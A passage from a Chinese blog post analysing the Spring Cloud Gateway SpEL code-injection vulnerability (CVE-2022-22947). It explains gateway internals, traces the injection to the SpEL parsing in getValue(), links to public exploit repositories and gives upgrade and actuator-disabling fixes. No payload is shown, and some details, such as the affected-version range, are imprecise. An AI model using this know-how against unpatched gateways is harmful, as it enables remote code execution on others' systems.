当前位置:   article > 正文

Spring-Cloud-Gateway之代码注入漏洞及解决_spring cloud gateway未授权访问漏洞

spring cloud gateway未授权访问漏洞

目录

1. 背景

2. 漏洞简介

3. 原理

3. 1Spring-Cloud-Gateway的原理

3.1.1 核心流程

3.1.2 流程说明

3.1.3 常见的 API 网关实现方案主要有以下 6种:

3.1.4 核心概念:

3.1.5 核心思想: 路由转发+执行过滤器链

3.1.6 Predicate 断言

3.1.7 常见断言如下

 3.1.8 动态路由

3.1.9 Filter 过滤器

3.1.10 自定义 GlobalFilter 全局过滤器

3.2 webFlux的相关组件和原理

4. 漏洞源码分析

5. 修复方案

5.1 升级版本和关闭gateway的actuator访问暴露端点

5.2 使用webFlux的全局filter做一个XSS的转义处理

 6. 注入脚本分享

7. 总结


1.背景

         在工作中有同事遇到了一个问题这个问题就是SpringCloudGateway之代码注入漏洞(CVE-2022-22947),然后他就尝试升级相关版本号,在本地跑起来出现了一个循环依赖:

  1. spring:
  2. main:
  3. allow-bean-definition-overriding: true
  4. allow-circular-references: true

        然后设置了springBoot支持循环依赖的配置开启但是还是依旧解决不了该问题,让后在我几天的尝试之下终于把这个这个问题解决了,这个漏洞导致生产的网关应用被攻击,从而导致k8s中的pod被黑客利用这个漏洞注入脚本攻击让网关的pod挂掉后又被k8s拉起,然生产网关不可用,我还找到了一个黑客攻击的脚本,下面把这个脚本分享给大家,然后整理了下思路写了这篇文章。

       下图是修复之后观察到应用的日志输出,成功阻止了注入脚本的执行:


2.漏洞简介

       Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

      漏洞版本范围:3.0.0及其一下版本

      漏洞可以被利用的点参考:

  1. https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md
  2. https://github.com/d-rn/vulBox/blob/main/cve_2022_22947.py

3.原理

3.1Spring-Cloud-Gateway的原理

    Spring Cloud Gateway 是Spring Cloud的一个全新的API网关项目,目的是为了替换掉Zuul1,它基于Spring5.0 + SpringBoot2.0 + WebFlux(基于性能的Reactor模式响应式通信框架Netty,异步阻塞模型)等技术开发,性能于Zuul,官测试,Spring Cloud GateWay是Zuul的1.6倍 ,旨在为微服务架构提供种简单有效的统的API路由管理式

  1. 官网:
  2. https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/
  3. https://github.com/spring-cloud/spring-cloud-gateway

3.1.1核心流程

3.1.2流程说明:

       Gateway Client 向 Spring Cloud Gateway 发送请求

       请求首先会被 HttpWebHandlerAdapter 进行提取组装成网关上下文

        然后网关的上下文会传递到 DispatcherHandler ,它负责将请求分发给 RoutePredicateHandlerMapping

        RoutePredicateHandlerMapping 负责路由查找,并根据路由断言判断路由是否可用

如果过断言成功,由FilteringWebHandler 创建过滤器链并调用

        通过特定于请求的 Fliter 链运行请求,Filter 被虚线分隔的原因是Filter可以在发送代理请求之前(pre)和之后(post)运行逻辑

        执行所有pre过滤器逻辑。然后进行代理请求。发出代理请求后,将运行“post”过滤器逻辑。

处理完毕之后将 Response 返回到 Gateway 客户端

3.1.3 常见的 API 网关实现方案主要有以下 6种:

1)Spring Cloud Gateway

         是Spring Cloud的一个全新的API网关项目,替换Zuul开发的网关服务,基于Spring5.0 + SpringBoot2.0 + WebFlux(基于性能的Reactor模式响应式通信框架Netty,异步阻塞模型)等技术开发,性能高于Zuul

2)Spring Cloud Netflix Zuul

         Zuul 1.0 : Netflix开源的网关,使用Java开发,基于Servlet架构构建,便于二次开发。因为基于Servlet内部延迟严重,并发场景不友好,一个线程只能处理一次连接请求。

         Zuul 2.0 : 采用Netty实现异步非阻塞编程模型,一个CPU一个线程,能够处理所有的请求和响应,请求响应的生命周期通过事件和回调进行处理,减少线程数量,开销较小

3)Kong

       基于OpenResty(Nginx + Lua模块)编写的高可用、易扩展的,性能高效且稳定,支持多个可用插件(限流、鉴权)等,开箱即可用,只支持HTTP协议,且二次开发扩展难,缺乏更易用的管理和配置方式

4)Nginx+Lua

       性能要比上面的强很多,使用Nginx的反向代码和负载均衡实现对API服务器的负载均衡以及高可用,lua作为一款脚本语言,可以编写一些简单的逻辑,但是无法嵌入到微服务架构中

5)Traefik

6)openresty

https://openresty.org/cn/

       网关的作用:在微服务大行其道的今天,微服务引入了 网关 的概念,网关为微服务架构的系统提供简单、有效且统一的API路由管理作为系统的统一入口,提供内部服务的路由中转给客户端提供统一的服务,可以实现一些和业务没有耦合的公用逻辑,主要功能包含认证、鉴权、路由转发、安全策略、防刷、流量控制、监控日志等

       我自己对网关的理解方案是:nginx(kong/F5等软硬件的反向代理和负载均衡作为流量网关,弹性伸缩扛住亿级流量的冲击(流量入口控制),入口流量分发到后端的的k8s上 + k8s(ingeress等网络、isto等产品(灰度)) + SpringCloudGataway(api网关+业务网关)  


3.1.4 核心概念:

注意:其中 Route 和 Predicate 必须同时声明。

Route(路由):  网关最基本的模块。它由一个 ID、一个目标 URI、一组断言(Predicate)和一组过滤器(Filter)组成。

Predicate(断言):  路由转发的判断条件,我们可以通过 Predicate 对 HTTP 请求进行匹配,例如请求方式、请求路径、请求头、参数等,如果请求与断言匹配成功,则将请求转发到相应的服务。

Filter(过滤器):  过滤器,我们可以使用它对请求进行拦截和修改,还可以使用它对上文的响应进行再处理。

3.1.5 核心思想: 路由转发+执行过滤器链


3.1.6Predicate 断言

      当满足条件后才会进行转发路由,如果是多个,那么多个条件需要同时满足

     使用 Predicate 断言需要注意以下 3 点:

1)Route 路由与 Predicate 断言的对应关系为“一对多”,一个路由可以包含多个不同断言。

2)一个请求想要转发到指定的路由上,就必须同时匹配路由上的所有断言。

3)当一个请求同时满足多个路由的断言条件时,请求只会被首个成功匹配的路由转发。

3.1.7常见断言如下:

常见断言如下,请参看官网:

https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gateway-request-predicates-factories
断言示例说明
Path- Path=/dept/list/** 当请求路径与 /dept/list/** 匹配时,该请求才能被转发到 http://localhost:8001 上。
Before- Before=2021-10-20T11:47:34.255+08:00[Asia/Shanghai]在 2021 年 10 月 20 日 11 时 47 分 34.255 秒之前的请求,才会被转发到 http://localhost:8001 上。
After- After=2021-10-20T11:47:34.255+08:00[Asia/Shanghai]在 2021 年 10 月 20 日 11 时 47 分 34.255 秒之后的请求,才会被转发到 http://localhost:8001 上。
Between- Between=2021-10-20T15:18:33.226+08:00[Asia/Shanghai],2021-10-20T15:23:33.226+08:00[Asia/Shanghai]在 2021 年 10 月 20 日 15 时 18 分 33.226 秒 到 2021 年 10 月 20 日 15 时 23 分 33.226 秒之间的请求,才会被转发到 http://localhost:8001 服务器上。
Cookie- Cookie=name,c.biancheng.net携带 Cookie 且 Cookie 的内容为 name=c.biancheng.net 的请求,才会被转发到 http://localhost:8001 上。
Header- Header=X-Request-Id,\d+请求头上携带属性 X-Request-Id 且属性值为整数的请求,才会被转发到 http://localhost:8001 上。
Method- Method=GET只有 GET 请求才会被转发到 http://localhost:8001 上。

 3.1.8 动态路由

       默认情况下,Spring Cloud Gateway 会根据服务注册中心(例如 Eureka Server)中维护的服务列表,以服务名(spring.application.name)作为路径创建动态路由进行转发,从而实现动态路由功能。
       我们可以在配置文件中,将 Route 的 uri 地址修改为以下形式。

  1. lb://service-name
  2. 以上配置说明如下:
  3. lb:uri 的协议,表示开启 Spring Cloud Gateway 的负载均衡功能。
  4. service-name:服务名,Spring Cloud Gateway 会根据它获取到具体的微服务地址。
  1. #application.yml 示例:将gateway跟注册中心整合,比如:eureka,nacos或者是其它的注册中心
  2. server:
  3. port: 9527 #端口号
  4. spring:
  5. application:
  6. name: microServiceCloudGateway #服务注册中心注册的服务名
  7. cloud:
  8. gateway: #网关路由配置
  9. discovery:
  10. locator:
  11. enabled: true #默认值为 true,即默认开启从注册中心动态创建路由的功能,利用微服务名进行路由
  12. routes:
  13. #将 micro-service-cloud-provider-dept-8001 提供的服务隐藏起来,不暴露给客户端,只给客户端暴露 API 网关的地址 9527
  14. - id: provider_dept_list_routh #路由 id,没有固定规则,但唯一,建议与服务名对应
  15. uri: lb://MICROSERVICECLOUDPROVIDERDEPT #动态路由,使用服务名代替上面的具体带端口 http://eureka7001.com:9527/dept/list
  16. predicates:
  17. #以下是断言条件,必选全部符合条件
  18. - Path=/dept/list/** #断言,路径匹配 注意:Path 中 P 为大写
  19. - Method=GET #只能时 GET 请求时,才能访问
  20. eureka:
  21. instance:
  22. instance-id: micro-service-cloud-gateway-9527
  23. hostname: micro-service-cloud-gateway
  24. client:
  25. fetch-registry: true
  26. register-with-eureka: true
  27. service-url:
  28. defaultZone: http://eureka7001.com:7001/eureka/,http://eureka7002.com:7002/eureka/,http://eureka7003.com:7003/eureka/

3.1.9 Filter 过滤器

       Spring Cloud GateWay 内置的Filter生命周期有两种:

        pre(业务逻辑之前):

        这种过滤器在请求被转发到微服务之前可以对请求进行拦截和修改,例如参数校验、权限校验、流量监控、日志输出以及协议转换等操作

       post(业务逻辑之后):

       这种过滤器在微服务对请求做出响应后可以对响应进行拦截和再处理,例如修改响应内容或响应头、日志输出、流量监控等。

       GateWay本身自带的Filter分为两种:

       GateWayFilter(单一:32种):GatewayFilter:应用在单个路由或者一组路由上的过滤器

        GlobalFilter(全局:9种):应用在所有的路由上的过滤器,是一种作用于所有的路由上的全局过滤器,通过它,我们可以实现一些统一化的业务功能,例如权限认证、IP 访问限制等。当某个请求被路由匹配时,那么所有的 GlobalFilter 会和该路由自身配置的 GatewayFilter 组合成一个过滤器链

       GateWay Filter提供了丰富的过滤器的使用,单一的有32种,全局的有9种,有兴趣的小伙伴可以了解一下

  1. 单一:
  2. https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gatewayfilter-factories
  3. 全局:
  4. https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#global-filters
  1. #application.yml 示例
  2. spring:
  3. cloud:
  4. gateway:
  5. routes:
  6. - id: xxxx
  7. uri: xxxx
  8. predicates:
  9. - Path=xxxx
  10. filters:
  11. - AddRequestParameter=X-Request-Id,1024 #过滤器工厂会在匹配的请求头加上一对请求头,名称为 X-Request-Id 值为 1024
  12. - PrefixPath=/dept #在请求路径前面加上 /dept
  13. ……

内置了多达 31 种单一 GatewayFilter如下:

路由过滤器描述参数使用示例
AddRequestHeader 拦截传入的请求,并在请求上添加一个指定的请求头参数。name:需要添加的请求头参数的 key;
value:需要添加的请求头参数的 value。
- AddRequestHeader=my-request-header,1024
AddRequestParameter拦截传入的请求,并在请求上添加一个指定的请求参数。name:需要添加的请求参数的 key;
value:需要添加的请求参数的 value。
- AddRequestParameter=my-request-param,c.biancheng.net
AddResponseHeader拦截响应,并在响应上添加一个指定的响应头参数。name:需要添加的响应头的 key;
value:需要添加的响应头的 value。
- AddResponseHeader=my-response-header,c.biancheng.net
PrefixPath拦截传入的请求,并在请求路径增加一个指定的前缀。 prefix:需要增加的路径前缀。- PrefixPath=/consumer
PreserveHostHeader转发请求时,保持客户端的 Host 信息不变,然后将它传递到提供具体服务的微服务中。- PreserveHostHeader
RemoveRequestHeader移除请求头中指定的参数。name:需要移除的请求头的 key。- RemoveRequestHeader=my-request-header
RemoveResponseHeader移除响应头中指定的参数。name:需要移除的响应头。- RemoveResponseHeader=my-response-header
RemoveRequestParameter移除指定的请求参数。name:需要移除的请求参数。- RemoveRequestParameter=my-request-param
RequestSize配置请求体的大小,当请求体过大时,将会返回 413 Payload Too Large。maxSize:请求体的大小。- name: RequestSize
   args:
     

3.1.10 自定义 GlobalFilter 全局过滤器

  1. import lombok.extern.slf4j.Slf4j;
  2. import org.springframework.cloud.gateway.filter.GatewayFilterChain;
  3. import org.springframework.cloud.gateway.filter.GlobalFilter;
  4. import org.springframework.core.Ordered;
  5. import org.springframework.http.HttpStatus;
  6. import org.springframework.stereotype.Component;
  7. import org.springframework.web.server.ServerWebExchange;
  8. import reactor.core.publisher.Mono;
  9. import java.util.Date;
  10. /**
  11. * 自定义全局网关过滤器(GlobalFilter)
  12. */
  13. @Component
  14. @Slf4j
  15. public class MyGlobalFilter implements GlobalFilter, Ordered {
  16. @Override
  17. public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
  18. log.info("进入自定义的全局过滤器 MyGlobalFilter" + new Date());
  19. String uname = exchange.getRequest().getQueryParams().getFirst("uname");
  20. if (uname == null) {
  21. log.info("参数 uname 不能为 null!");
  22. exchange.getResponse().setStatusCode(HttpStatus.NOT_ACCEPTABLE);
  23. return exchange.getResponse().setComplete();
  24. }
  25. return chain.filter(exchange);
  26. }
  27. @Override
  28. public int getOrder() {
  29. //过滤器的顺序,0 表示第一个
  30. return 0;
  31. }
  32. }

3.2webFlux的相关组件和原理

    由于Spring-Cloud-Gateway是基于WebFlux响应式框架之上的(基于性能的Reactor模式响应式通信框架Netty,异步阻塞模型),所以了解下webFlux的相关组件和原理更加有助于我们学习Spring-Cloud-Gateway。

这和WebMVC的结构图很像,解释一下各部分工作。

       容器reactor-netty:即基于netty实现的符合reactor标准的容器,Spring Boot默认使用它。其对应的关键核心接口是HttpHandler,webflux中对应的重要实现类是:WebHttpHandlerBuilder,它是整个webflux程序的入口。

1)Webfilter:过滤器

2)DispatcherHandler:核心处理器,协调如下三个核心组件工作

3)HandleMapping:存储请求URI和处理器的对应关系

4)HandlerAdapter:封装了主要处理逻辑,处理结果封装成HandlerResult

5)HandlerResultHandler:针对上一步结果的处理器

6)WebExceptionHandler:整个流程中抛出的任何异常,都会被它捕获,“真”全局异常处理


4.漏洞源码分析

      在项目启动的时候Spring-Cloud-Gateway项目启动的时候引入跟springBoot集成的starter启动器包的时候会自动装配一些类:

       入口是从这个类开始:DispatcherHandler类相当于springMVC中的DispatcherServlet类,里面有个handle()方法:

  1. @Override
  2. public Mono<Void> handle(ServerWebExchange exchange) {
  3. if (this.handlerMappings == null) {
  4. return createNotFoundError();
  5. }
  6. if (CorsUtils.isPreFlightRequest(exchange.getRequest())) {
  7. return handlePreFlight(exchange);
  8. }
  9. return Flux.fromIterable(this.handlerMappings)
  10. .concatMap(mapping -> mapping.getHandler(exchange))
  11. .next()
  12. .switchIfEmpty(createNotFoundError())
  13. .flatMap(handler -> invokeHandler(exchange, handler))
  14. .flatMap(result -> handleResult(exchange, result));
  15. }

handle()中有个getHandler():

  1. @Override
  2. public Mono<Object> getHandler(ServerWebExchange exchange) {
  3. return getHandlerInternal(exchange).map(handler -> {
  4. if (logger.isDebugEnabled()) {
  5. logger.debug(exchange.getLogPrefix() + "Mapped to " + handler);
  6. }
  7. ServerHttpRequest request = exchange.getRequest();
  8. if (hasCorsConfigurationSource(handler) || CorsUtils.isPreFlightRequest(request)) {
  9. CorsConfiguration config = (this.corsConfigurationSource != null ?
  10. this.corsConfigurationSource.getCorsConfiguration(exchange) : null);
  11. CorsConfiguration handlerConfig = getCorsConfiguration(handler, exchange);
  12. config = (config != null ? config.combine(handlerConfig) : handlerConfig);
  13. if (config != null) {
  14. config.validateAllowCredentials();
  15. }
  16. if (!this.corsProcessor.process(config, exchange) || CorsUtils.isPreFlightRequest(request)) {
  17. return NO_OP_HANDLER;
  18. }
  19. }
  20. return handler;
  21. });
  22. }

getHandler()中有个getHandlerInternal()方法:

        最后会调用RoutePredicateHandlerMapping子类中的getHandlerInternal()方法.

       GatewayAutoConfiguration这个类中有跟路由配置有关的配置文件加载的bean装配,各种Filter的bean装配、各种RoutePredicateFactory(路由断言工程bean)的bean装配

  1. // filter链的构建处理类
  2. @Bean
  3. public FilteringWebHandler filteringWebHandler(List<GlobalFilter> globalFilters) {
  4. return new FilteringWebHandler(globalFilters);
  5. }
  6. // 路由断言映射
  7. @Bean
  8. @ConditionalOnMissingBean
  9. public RoutePredicateHandlerMapping routePredicateHandlerMapping(FilteringWebHandler webHandler,
  10. RouteLocator routeLocator, GlobalCorsProperties globalCorsProperties, Environment environment) {
  11. return new RoutePredicateHandlerMapping(webHandler, routeLocator, globalCorsProperties, environment);
  12. }
  13. // 网关配置类
  14. @Bean
  15. public GatewayProperties gatewayProperties() {
  16. return new GatewayProperties();
  17. }
  18. // 网关配置服务service
  19. @Bean
  20. public ConfigurationService gatewayConfigurationService(BeanFactory beanFactory,
  21. @Qualifier("webFluxConversionService") ObjectProvider<ConversionService> conversionService,
  22. ObjectProvider<Validator> validator) {
  23. return new ConfigurationService(beanFactory, conversionService, validator);
  24. }
  25. // 路由定义
  26. @Bean
  27. public RouteLocator routeDefinitionRouteLocator(GatewayProperties properties,
  28. List<GatewayFilterFactory> gatewayFilters, List<RoutePredicateFactory> predicates,
  29. RouteDefinitionLocator routeDefinitionLocator, ConfigurationService configurationService) {
  30. return new RouteDefinitionRouteLocator(routeDefinitionLocator, predicates, gatewayFilters, properties,
  31. configurationService);
  32. }
  33. // 这个类是最后进入NettyRoutingFilter 这个filter真正做请求的发送,他使用HttpClient进行请求的发送
  34. @Bean
  35. @ConditionalOnEnabledGlobalFilter
  36. public NettyRoutingFilter routingFilter(HttpClient httpClient,
  37. ObjectProvider<List<HttpHeadersFilter>> headersFilters, HttpClientProperties properties) {
  38. return new NettyRoutingFilter(httpClient, headersFilters, properties);
  39. }

调用触发的入口是RoutePredicateHandlerMapping的getHandlerInternal()方法中的lookupRoute()请求循环匹配路由:

  1. protected Mono<Route> lookupRoute(ServerWebExchange exchange) {
  2. // 获取所有定义的路由然后根据请求的参数属性匹配断言
  3. return this.routeLocator.getRoutes()
  4. // individually filter routes so that filterWhen error delaying is not a
  5. // problem
  6. .concatMap(route -> Mono.just(route).filterWhen(r -> {
  7. // add the current route we are testing
  8. exchange.getAttributes().put(GATEWAY_PREDICATE_ROUTE_ATTR, r.getId());
  9. return r.getPredicate().apply(exchange);
  10. })
  11. // instead of immediately stopping main flux due to error, log and
  12. // swallow it
  13. .doOnError(e -> logger.error("Error applying predicate for route: " + route.getId(), e))
  14. .onErrorResume(e -> Mono.empty()))
  15. // .defaultIfEmpty() put a static Route not found
  16. // or .switchIfEmpty()
  17. // .switchIfEmpty(Mono.<Route>empty().log("noroute"))
  18. .next()
  19. // TODO: error handling
  20. .map(route -> {
  21. if (logger.isDebugEnabled()) {
  22. logger.debug("Route matched: " + route.getId());
  23. }
  24. validateRoute(route, exchange);
  25. return route;
  26. });
  27. /*
  28. * TODO: trace logging if (logger.isTraceEnabled()) {
  29. * logger.trace("RouteDefinition did not match: " + routeDefinition.getId()); }
  30. */
  31. }

三种路由定义实现:缓存、组合和配置路由定义

RouteDefinitionRouteLocator中的getRoutes()

  1. @Override
  2. public Flux<Route> getRoutes() {
  3. Flux<Route> routes = this.routeDefinitionLocator.getRouteDefinitions().map(this::convertToRoute);
  4. if (!gatewayProperties.isFailOnRouteDefinitionError()) {
  5. // instead of letting error bubble up, continue
  6. routes = routes.onErrorContinue((error, obj) -> {
  7. if (logger.isWarnEnabled()) {
  8. logger.warn("RouteDefinition id " + ((RouteDefinition) obj).getId()
  9. + " will be ignored. Definition has invalid configs, " + error.getMessage());
  10. }
  11. });
  12. }
  13. return routes.map(route -> {
  14. if (logger.isDebugEnabled()) {
  15. logger.debug("RouteDefinition matched: " + route.getId());
  16. }
  17. return route;
  18. });
  19. }

convertToRoute()

  1. private Route convertToRoute(RouteDefinition routeDefinition) {
  2. AsyncPredicate<ServerWebExchange> predicate = combinePredicates(routeDefinition);
  3. List<GatewayFilter> gatewayFilters = getFilters(routeDefinition);
  4. return Route.async(routeDefinition).asyncPredicate(predicate).replaceFilters(gatewayFilters).build();
  5. }

combinePredicates()找到组合断言匹配到的请求:

  1. private AsyncPredicate<ServerWebExchange> combinePredicates(RouteDefinition routeDefinition) {
  2. List<PredicateDefinition> predicates = routeDefinition.getPredicates();
  3. if (predicates == null || predicates.isEmpty()) {
  4. // this is a very rare case, but possible, just match all
  5. return AsyncPredicate.from(exchange -> true);
  6. }
  7. AsyncPredicate<ServerWebExchange> predicate = lookup(routeDefinition, predicates.get(0));
  8. for (PredicateDefinition andPredicate : predicates.subList(1, predicates.size())) {
  9. AsyncPredicate<ServerWebExchange> found = lookup(routeDefinition, andPredicate);
  10. predicate = predicate.and(found);
  11. }
  12. return predicate;
  13. }

getFilters(routeDefinition):获取所有的过滤器

  1. private List<GatewayFilter> getFilters(RouteDefinition routeDefinition) {
  2. List<GatewayFilter> filters = new ArrayList<>();
  3. // TODO: support option to apply defaults after route specific filters?
  4. if (!this.gatewayProperties.getDefaultFilters().isEmpty()) {
  5. filters.addAll(loadGatewayFilters(routeDefinition.getId(),
  6. new ArrayList<>(this.gatewayProperties.getDefaultFilters())));
  7. }
  8. if (!routeDefinition.getFilters().isEmpty()) {
  9. filters.addAll(loadGatewayFilters(routeDefinition.getId(), new ArrayList<>(routeDefinition.getFilters())));
  10. }
  11. AnnotationAwareOrderComparator.sort(filters);
  12. return filters;
  13. }
  14. List<GatewayFilter> loadGatewayFilters(String id, List<FilterDefinition> filterDefinitions) {
  15. ArrayList<GatewayFilter> ordered = new ArrayList<>(filterDefinitions.size());
  16. for (int i = 0; i < filterDefinitions.size(); i++) {
  17. FilterDefinition definition = filterDefinitions.get(i);
  18. GatewayFilterFactory factory = this.gatewayFilterFactories.get(definition.getName());
  19. if (factory == null) {
  20. throw new IllegalArgumentException(
  21. "Unable to find GatewayFilterFactory with name " + definition.getName());
  22. }
  23. if (logger.isDebugEnabled()) {
  24. logger.debug("RouteDefinition " + id + " applying filter " + definition.getArgs() + " to "
  25. + definition.getName());
  26. }
  27. // @formatter:off
  28. Object configuration = this.configurationService.with(factory)
  29. .name(definition.getName())
  30. .properties(definition.getArgs())
  31. .eventFunction((bound, properties) -> new FilterArgsEvent(
  32. // TODO: why explicit cast needed or java compile fails
  33. RouteDefinitionRouteLocator.this, id, (Map<String, Object>) properties))
  34. .bind();
  35. // @formatter:on
  36. // some filters require routeId
  37. // TODO: is there a better place to apply this?
  38. if (configuration instanceof HasRouteId) {
  39. HasRouteId hasRouteId = (HasRouteId) configuration;
  40. hasRouteId.setRouteId(id);
  41. }
  42. GatewayFilter gatewayFilter = factory.apply(configuration);
  43. if (gatewayFilter instanceof Ordered) {
  44. ordered.add(gatewayFilter);
  45. }
  46. else {
  47. ordered.add(new OrderedGatewayFilter(gatewayFilter, i + 1));
  48. }
  49. }
  50. return ordered;
  51. }

      loadGatewayFilters():方法中有个configurationService.bind()方法:根据断言对应的断言工厂然后调用了configurationService.bind()方法

  1. public T bind() {
  2. validate();
  3. Assert.hasText(this.name, "name may not be empty");
  4. Assert.isTrue(this.properties != null || this.normalizedProperties != null,
  5. "properties and normalizedProperties both may not be null");
  6. if (this.normalizedProperties == null) {
  7. // 归一化处理
  8. this.normalizedProperties = normalizeProperties();
  9. }
  10. T bound = doBind();
  11. if (this.eventFunction != null && this.service.publisher != null) {
  12. ApplicationEvent applicationEvent = this.eventFunction.apply(bound, this.normalizedProperties);
  13. this.service.publisher.publishEvent(applicationEvent);
  14. }
  15. return bound;
  16. }

 然后调用到实现类方法如下:

  1. @Override
  2. protected Map<String, Object> normalizeProperties() {
  3. if (this.service.beanFactory != null) {
  4. return this.configurable.shortcutType().normalize(this.properties, this.configurable,
  5. this.service.parser, this.service.beanFactory);
  6. }
  7. return super.normalizeProperties();
  8. }

 方法调用栈:

shortcutType()接口对应实现类如下:

匹配到DEFULT枚举中的normalize()里面调用了getValue()方法:

  1. static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
  2. Object value;
  3. String rawValue = entryValue;
  4. if (rawValue != null) {
  5. rawValue = rawValue.trim();
  6. }
  7. if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
  8. // assume it's spel
  9. GatewayEvaluationContext context = new GatewayEvaluationContext(beanFactory);
  10. Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
  11. value = expression.getValue(context);
  12. }
  13. else {
  14. value = entryValue;
  15. }
  16. return value;
  17. }

      在这个getValue()里面使用GatewayEvaluationContext中有SpelExpressionParser对象即可解析spring的spel表达式,注入就是在这里。

     最后根据以上条件会生成一个路由对象:

        请求匹配到的路由和匹配到的断言会被对应的断言工厂的所有的过滤器链路上执行,最终通过NettyRoutingFilte的filter方法是被FilteringWebHandler的handle()中的DefaultGatewayFilterChain的filter触发调用http请求服务,然后将请求返回,还会通过GatewayLoadBalancerClientAutoConfiguration来做一些负载均衡:

 NettyRoutingFilte的filter方法如下:

  1. public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
  2. URI requestUrl = exchange.getRequiredAttribute(GATEWAY_REQUEST_URL_ATTR);
  3. String scheme = requestUrl.getScheme();
  4. if (isAlreadyRouted(exchange) || (!"http".equalsIgnoreCase(scheme) && !"https".equalsIgnoreCase(scheme))) {
  5. return chain.filter(exchange);
  6. }
  7. setAlreadyRouted(exchange);
  8. ServerHttpRequest request = exchange.getRequest();
  9. final HttpMethod method = HttpMethod.valueOf(request.getMethodValue());
  10. final String url = requestUrl.toASCIIString();
  11. HttpHeaders filtered = filterRequest(getHeadersFilters(), exchange);
  12. final DefaultHttpHeaders httpHeaders = new DefaultHttpHeaders();
  13. filtered.forEach(httpHeaders::set);
  14. boolean preserveHost = exchange.getAttributeOrDefault(PRESERVE_HOST_HEADER_ATTRIBUTE, false);
  15. Route route = exchange.getAttribute(GATEWAY_ROUTE_ATTR);
  16. Flux<HttpClientResponse> responseFlux = getHttpClient(route, exchange).headers(headers -> {
  17. headers.add(httpHeaders);
  18. // Will either be set below, or later by Netty
  19. headers.remove(HttpHeaders.HOST);
  20. if (preserveHost) {
  21. String host = request.getHeaders().getFirst(HttpHeaders.HOST);
  22. headers.add(HttpHeaders.HOST, host);
  23. }
  24. }).request(method).uri(url).send((req, nettyOutbound) -> {
  25. if (log.isTraceEnabled()) {
  26. nettyOutbound.withConnection(connection -> log.trace("outbound route: "
  27. + connection.channel().id().asShortText() + ", inbound: " + exchange.getLogPrefix()));
  28. }
  29. return nettyOutbound.send(request.getBody().map(this::getByteBuf));
  30. }).responseConnection((res, connection) -> {
  31. // Defer committing the response until all route filters have run
  32. // Put client response as ServerWebExchange attribute and write
  33. // response later NettyWriteResponseFilter
  34. exchange.getAttributes().put(CLIENT_RESPONSE_ATTR, res);
  35. exchange.getAttributes().put(CLIENT_RESPONSE_CONN_ATTR, connection);
  36. ServerHttpResponse response = exchange.getResponse();
  37. // put headers and status so filters can modify the response
  38. HttpHeaders headers = new HttpHeaders();
  39. res.responseHeaders().forEach(entry -> headers.add(entry.getKey(), entry.getValue()));
  40. String contentTypeValue = headers.getFirst(HttpHeaders.CONTENT_TYPE);
  41. if (StringUtils.hasLength(contentTypeValue)) {
  42. exchange.getAttributes().put(ORIGINAL_RESPONSE_CONTENT_TYPE_ATTR, contentTypeValue);
  43. }
  44. setResponseStatus(res, response);
  45. // make sure headers filters run after setting status so it is
  46. // available in response
  47. HttpHeaders filteredResponseHeaders = HttpHeadersFilter.filter(getHeadersFilters(), headers, exchange,
  48. Type.RESPONSE);
  49. if (!filteredResponseHeaders.containsKey(HttpHeaders.TRANSFER_ENCODING)
  50. && filteredResponseHeaders.containsKey(HttpHeaders.CONTENT_LENGTH)) {
  51. // It is not valid to have both the transfer-encoding header and
  52. // the content-length header.
  53. // Remove the transfer-encoding header in the response if the
  54. // content-length header is present.
  55. response.getHeaders().remove(HttpHeaders.TRANSFER_ENCODING);
  56. }
  57. exchange.getAttributes().put(CLIENT_RESPONSE_HEADER_NAMES, filteredResponseHeaders.keySet());
  58. response.getHeaders().addAll(filteredResponseHeaders);
  59. return Mono.just(res);
  60. });
  61. Duration responseTimeout = getResponseTimeout(route);
  62. if (responseTimeout != null) {
  63. responseFlux = responseFlux
  64. .timeout(responseTimeout,
  65. Mono.error(new TimeoutException("Response took longer than timeout: " + responseTimeout)))
  66. .onErrorMap(TimeoutException.class,
  67. th -> new ResponseStatusException(HttpStatus.GATEWAY_TIMEOUT, th.getMessage(), th));
  68. }
  69. return responseFlux.then(chain.filter(exchange));
  70. }

5.修复方案

5.1升级版本和关闭gateway的actuator访问暴露端点

  1. https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#actuator-api
  2. # 配置
  3. management.endpoint.gateway.enabled=false
  4. # spring-cloud-alibaba 依赖对应
  5. https://github.com/alibaba/spring-cloud-alibaba/wiki/%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E
  6. # spring-cloud-alibaba-2021-0-1-0版本依赖其它项目所需的版本
  7. https://spring.io/blog/2022/03/09/introducing-spring-cloud-alibaba-2021-0-1-0

所以springBoot的版本选择2.6.8

pom的依赖:

  1. <properties>
  2. <java.version>1.8</java.version>
  3. <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  4. <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
  5. <maven.compiler.source>8</maven.compiler.source>
  6. <maven.compiler.target>8</maven.compiler.target>
  7. <spring.boot.version>2.6.8</spring.boot.version>
  8. <spring.cloud.version>2021.0.3</spring.cloud.version>
  9. <spring.cloud.alibaba.version>2021.0.1.0</spring.cloud.alibaba.version>
  10. <dubbo.version>2.7.15</dubbo.version>
  11. </properties>
  12. <dependencyManagement>
  13. <dependencies>
  14. <dependency>
  15. <groupId>org.springframework.boot</groupId>
  16. <artifactId>spring-boot-dependencies</artifactId>
  17. <version>${spring.boot.version}</version>
  18. <type>pom</type>
  19. <scope>import</scope>
  20. </dependency>
  21. <dependency>
  22. <groupId>org.springframework.cloud</groupId>
  23. <artifactId>spring-cloud-dependencies</artifactId>
  24. <version>${spring.cloud.version}</version>
